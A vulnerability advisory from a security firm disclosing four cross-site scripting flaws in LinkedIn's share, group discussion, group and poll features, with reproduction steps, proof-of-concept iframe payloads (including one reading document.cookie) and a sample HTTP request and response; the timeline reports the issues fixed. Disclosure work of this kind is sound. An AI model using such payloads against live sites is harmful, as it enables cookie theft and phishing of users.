2012-003: LinkedIn social network is affected by Multiple Reflected Cross-Site Scripting vulnerabilities.

Original release date: 16th December 2012
Last revised: 26th September 2013
Discovered by: Eduardo Garcia Melia
Severity: 6.8/10 (CVSS Base Scored)

BACKGROUND

LinkedIn is a social networking service and website (http://www.linkedin.com/) operates the world's largest professional network on the Internet with more than 187 million members in over 200 countries and territories.
More Information: http://press.linkedin.com/about

DESCRIPTION

LinkedIn social network is affected by Multiple reflected Cross-Site Scripting vulnerabilities. An attacker an inject HTML or script code in the context of victim's browser, so can perform XSS attacks, and steal cookies of a targeted user. The affected resource is http://www.linkedin.com/home?trk=guest_home.

VIDEO DEMO

PROOF OF CONCEPT 

============================= 

First XSS  -> Corrected 

============================= 

You can go to LinkedIn Home -> Shared an Update -> Attach Link. After attack link, you should edit this link, and put in the Title and Description field, the XSS injection, for example:



    + <h1>XSS TEST</h1>

    + <iframe src="javascript:alert(document.cookie);"></iframe>


Finally, you should pulse "Preview" button, and then show you the injection.


The vulnerability is in this code:


XSSINJECTION

URLTITLE

XSSINJECTION Edit <script id="control-a9f0c4dd-2797-4750-9243-add575e00c08-2" type="linkedin/control" class="li-control"> /* extlib: _toggleclass */ LI.Controls.addControl('control-a9f0c4dd-2797-4750-9243-add575e00c08-2', 'ToggleClass', { classname: 'is-view-mode', on: '#share-preview', stopEvent: true }); </script>

=============================
Second XSS 
=============================
You can go to LinkedIn Groups -> Groups you may like,  and find some
open group, for example "Test Analyst / Test Lead / Test Manager
Networking". After, you

can start Discussion, and put on the fields "Test" and "test" value and
pulse "share" button. When the discussion is shared, show you "Your post
has been

submitted for review. You can view it here.", if you go to "here" link,
you can edit your post and put, for example, this code:

    + <IFRAME SRC=# onmouseover="alert('XSS')">

Example REQUEST:
    POST /groupItem HTTP/1.1
    Host: www.linkedin.com
    Origin: http://www.linkedin.com
    X-Requested-With: XMLHttpRequest
    Referer: http://www.linkedin.com/groups?displayMySubmitted=&gid=4041084&goback=%2Egmp_4041084
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
    Cookie: XXX
  
editPendingItem=&csrfToken=ajax:8141336854842107468&item=PMOD_43011393&gid=4041084&ajax=true&goback=.gmp_4041084&content=<IFRAME
SRC=#

onmouseover="alert('XSS')">&detail=test&

RESPONSE:
    HTTP/1.1 200 OK
    Server: Apache-Coyote/1.1
    Vary: Accept-Encoding
    Date: Mon, 04 Mar 2013 14:51:03 GMT
    X-FS-TXN-ID: 2adf39a79210
    X-FS-UUID: c84a30f8753fe812d0841ff4322b0000
    X-LI-UUID: yEow+HU/6BLQhB/0MisAAA==
    Age: 0
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 0
    Set-Cookie: XXX

    {"abbreviatedContent":"<IFRAME SRC=# onmouseover=\"alert('XSS')\">
...","editTimeLeftAsStr":"13 minutes

left","statusCode":"0","updated":"true","editTimeLeftInSec":"791","item":"PMOD_43011393","origDetail":"test","isDetailAbbreviated":"false","origContent":"<IF

RAME SRC=#
onmouseover=\"alert('XSS')\">","isContentAbbreviated":"true","fullContent":"<IFRAME
SRC=# onmouseover=\"alert

('XSS')\">","abbreviatedDetail":"test"}

and then show you the injection.

=============================
Third XSS 
=============================
You can go to LinkedIn Groups -> Create a Group,  and create new group.
After, you can start Discussion, and put on the fields, for example,
this code:

    + <IFRAME SRC=# onmouseover="alert('XSS')">

Pulse "share" button and then show you the injection.

===============
Fourth XSS
===============   
You can go to LinkedIn Groups -> Create a Group,  and create new group.
After, you can create a Poll, and put on the fields, for example, this code:

    + <IFRAME SRC=# onmouseover="alert('XSS')">

Pulse "share" button and then show you the injection.

BUSINESS IMPACT

This flaw can be used by a malicious user to send phishing to the linked in customers, abusing of the users trust on LinkedIn portal, tricking the user. This user can be forward to a LinkedIn clone site to stolen credentials, to some malicious site hosting malware and more.

SYSTEMS AFFECTED

The vulnerability affects the LinkedIn network:
http://www.linkedin.com
https://touch.www.linkedin.com

SOLUTION

Partially pending

REVISION HISTORY

December 17, 2012: Initial release.
January 20, 2013: Second revision.
March 10, 2013: Third revision.
September 26, 2013: Final release.

DISCLOSURE TIMELINE

  • December 17, 2012: Vulnerability acquired by Eduardo Garcia Melia Internet Security Auditors (www.isecauditors.com).
  • January 20, 2013: Second revision. Sent to LinkedIn Security Team.
  • February 7, 2013: Response from Sec Team. Ask for resend.
  • February 19, 2013: Send updated.
  • February 26, 2013: Answer about it seems to be corrected. Possitively checked.
  • March 10, 2013: Send updated with more XSS vulnerable resources.
  • July 11, 2013: All XSS issues have been resolved.
  • September 26, 2013: Sent to lists.

REFERENCES

http://www.linkedin.com
http://www.isecauditors.com
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

ABOUT

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